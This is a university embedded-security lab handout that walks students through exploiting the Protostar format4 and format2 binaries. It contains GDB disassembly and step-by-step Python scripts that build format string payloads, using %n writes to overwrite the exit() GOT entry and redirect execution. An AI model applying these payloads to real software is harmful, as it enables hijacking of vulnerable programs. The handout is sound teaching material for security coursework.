COMP8053 – Embedded Software Security

Lab 6 – Format String Exploiting!

For this lab, continue to use the Protostar VM from Lab 4/5.

Login: user
Password: user

- Binary executables stored in the directory /opt/protostar/bin/

```
user@protostar:/home/protostar$ cd /opt/protostar/bin
user@protostar:/opt/protostar/bin$ ls
final0  format0  format3  heap1  net0  net3    stack1  stack4  stack7
final1  format1  format4  heap2  net1  net4    stack2  stack5
final2  format2  heap0    heap3  net2  stack0  stack3  stack6
user@protostar:/opt/protostar/bin$ _
```

We shall start with 'format4' this time, for which the source code is:

```
1.  #include <stdlib.h>
2.  #include <unistd.h>
3.  #include <stdio.h>
4.  #include <string.h>
5.
6.  int target;
7.
8.  void hello()
9.  {
10.   printf("code execution redirected! you win\n");
11.   _exit(1);
12. }
13.
14. void vuln()
15. {
16.   char buffer[512];
17.
18.   fgets(buffer, sizeof(buffer), stdin);
19.
20.   printf(buffer);
21.
22.   exit(1);
23. }
24.
25. int main(int argc, char **argv)
26. {
27.   vuln();
28. }
```

This problem was shown during the lectures (from slide 85+ in Lectures 5-9 notes), and it is recommended that you review it there to remind yourself of the approach. Here the size of our input is restricted to 512 bytes by the fgets. The “exit()” function in “vuln” means that we cannot overwrite the return address for vuln since it does not ever return. Instead, we need to use a format string to manipulate the stack and alter the address of the exit() function in the PLT to the address of the hello() function instead.

- First check the address of the ‘hello’ function, in GDB, this is the new value we want to overwrite with:

```
(gdb) x hello
0x80484b4 <hello>:      0x83e58955
```

To find the address of a variable “var” we can also use the “p” command as:
p &var
Where the “&” indicate to print the address of the var instead of its value.

- Next we must identify the address of the call to “exit” so we know where we want to overwrite:

```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   ebp
0x080484d3 <vuln+1>:    mov    ebp,esp
0x080484d5 <vuln+3>:    sub    esp,0x218
0x080484db <vuln+9>:    mov    eax,ds:0x8049730
0x080484e0 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) disassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    DWORD PTR ds:0x8049724
0x080483f2 <exit@plt+6>:        push   0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.
(gdb)
```

- Disassemble the address in the call to exit@plt which is in the function “vuln”. Note this is the address used in the call instruction, not the address of the call instruction itself.

```
(gdb) disassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    DWORD PTR ds:0x8049724
0x080483f2 <exit@plt+6>:        push   0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb)
```

- From here, the address we want to overwrite is the one on the first line with: “jmp DWORD PTR ds:<address we want>”

- Examining the address lets us see what's in it currently, this is the value we must change to the address of the "hello" function.

- We will now begin creating a python script to create a string input for format4.
- To start with, make it something like this, with obvious readable padding you can recognise when you find it on the stack, and a lot of "%x"s to print out what is on the stack. We need to find the position on the stack that our string is stored.

```
import struct
hello = 0x80484b4
plt_exit = 0x8049724

exploit = ""
exploit += "AAAABBBBCCCCDDDDEEEEFFFF"
exploit += "%x "*8

print  exploit + "X"*(512-len(exploit))
~
~
~
```

(adjust the values for hello/plt_exit to match what you found in the earlier steps)

```
user@protostar:~$ python input | /opt/protostar/bin/format4
AAAABBBBCCCCDDDDEEEEFFFF200 b7fd8420 bffff5e4 41414141 42424242 43434343 4444444
4 45454545 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXuser@p
rotostar:~$
```

- Running format4 with your string should give you something like the above as output. After the recognisable padding (AAAABBBB etc…) count how many hex values are there before the start of your string in memory (the 41414141). In this sample, there's 3 numbers before it (200, b7fd8420, bffff5e4) so our string starts at position 4 (relative to where the format string is processed by the printf function).

- We can specify which address to write to using "%4$n" instead of "%n", where "4" is the position of the address we wish to write to. More specifically, this specifies to write the output to the address stored in the 5th argument for the printf function (the 4th argument excluding the format string argument) but since we have no 5th argument, it ends up being the 4th position on the stack instead...

- If the string started in a different position, adjust the number to match with the position for you!

- We will start the input string with the address of the exit function in the PLT, this will get written to the position in the stack which we just identified. We then use “%n” on that position to write to that address, overwriting the address for the call to exit.

```
import struct
hello = 0x80484b4
plt_exit = 0x8049724

exploit = ""
exploit += struct.pack( "I", plt_exit)
exploit += "AAAABBBBCCCCDDDDEEEEFFFF"
exploit += "%4$n "*8

print  exploit + "X"*(512-len(exploit))
~
~
```

- Input string should look something like the above. This places the address at the start of the string, and attempts to write to that address by referencing it with “%4$n” (again, alter the 4 to whatever value is appropriate for your own case).

- To test whether it overwrote the address in the plt or not, we will use GDB:

```
(gdb) r < /home/user/inputfile
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/format4 < /home/user/inputfile

Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20
20      in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb)
```

- Place breakpoints at the call to printf in vuln, and immediately after it. At each breakpoint examine the address of the call to Exit in the plt (the one you recorded earlier).

```
(gdb) c
Continuing.

Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22      in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000023
(gdb)
```

- After the printf is executed, you should see the value change to the length of your input string prior to the “%4$n”. If we include significant padding before it, we can set any value we like!

- However, the value we want to set is probably very large. In this example, it was 0x080484b4 in hex, which is over 134million in decimal. Note that windows calculator has a “Programmer” mode which allows you to easily convert decimal to hex and vice versa!

- While it is possible to pad 134million characters (“%4$134000000n”), it will take you a *very* long time to print out that many and test if you did it correctly, usually you would need some adjustment to get it exactly right which is bad...

- So instead we will simplify it a bit, and instead write to 2 addresses, corresponding to the first and last pairs of bytes of the address for the call to “exit” in the PLT.

- This will mean we only have to write the values 0x0804 and 0x84b4, which are a lot smaller than 134million (0x080484b4).

```
import struct
hello = 0x80484b4
plt_exit = 0x8049724

exploit = ""
exploit += struct.pack( "I", plt_exit )
exploit += struct.pack( "I", plt_exit+2 )
exploit += "AAAABBBB"
exploit += "%33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"

print exploit + "X"*(512-len(exploit))
```

- You will need to play around with the exact padding amounts to print, but your script should look something like the above. You will write the same address as previously for the first byte, and then that offset by +2 for the 2nd byte (which will be the next position on your string so the 2nd “%n” should reference the position after the other one.. e.g. position 5 here)

- Use the windows calculator to convert between Hex and Decimal! The address is in hex, you want to pad in decimal equivalent to the addresses.

- Note that writing the first value into position 4 will mean you have printed 0x84b4 characters already. This is larger than the value (0x0804) you want to write into the second byte. The solution is to write 0x10804, the excess 1 will overwrite an area of memory we don’t care about and the 0804 part will be at the address we want (if done correctly).

- Once again check in GDB to see what values you’re writing into the address and adjust accordingly!

Next have an attempt at this simpler Format String exploit:

format2 source code:

```
1.  #include <stdlib.h>
2.  #include <unistd.h>
3.  #include <stdio.h>
4.  #include <string.h>
5.
6.  int target;
7.
8.  void vuln()
9.  {
10.   char buffer[512];
11.
12.   fgets(buffer, sizeof(buffer), stdin);
13.   printf(buffer);
14.
15.   if(target == 64) {
16.     printf("you have modified the target :)\n");
17.   } else {
18.     printf("target is %d :(\n", target);
19.   }
20. }
21.
22. int main(int argc, char **argv)
23. {
24.   vuln();
25. }
```

format2 is very similar to format1 from last week, the only difference here is we need to write a specific value using %n in the format string. Make use of the ability to pad the length of a format string (i.e. if instead of "%x" for a hex number, you did "%20x" it will pad the hex number to occupy 20spaces), this will make it easier to set the desired value!

If you have not finished format1 last week, do that one first!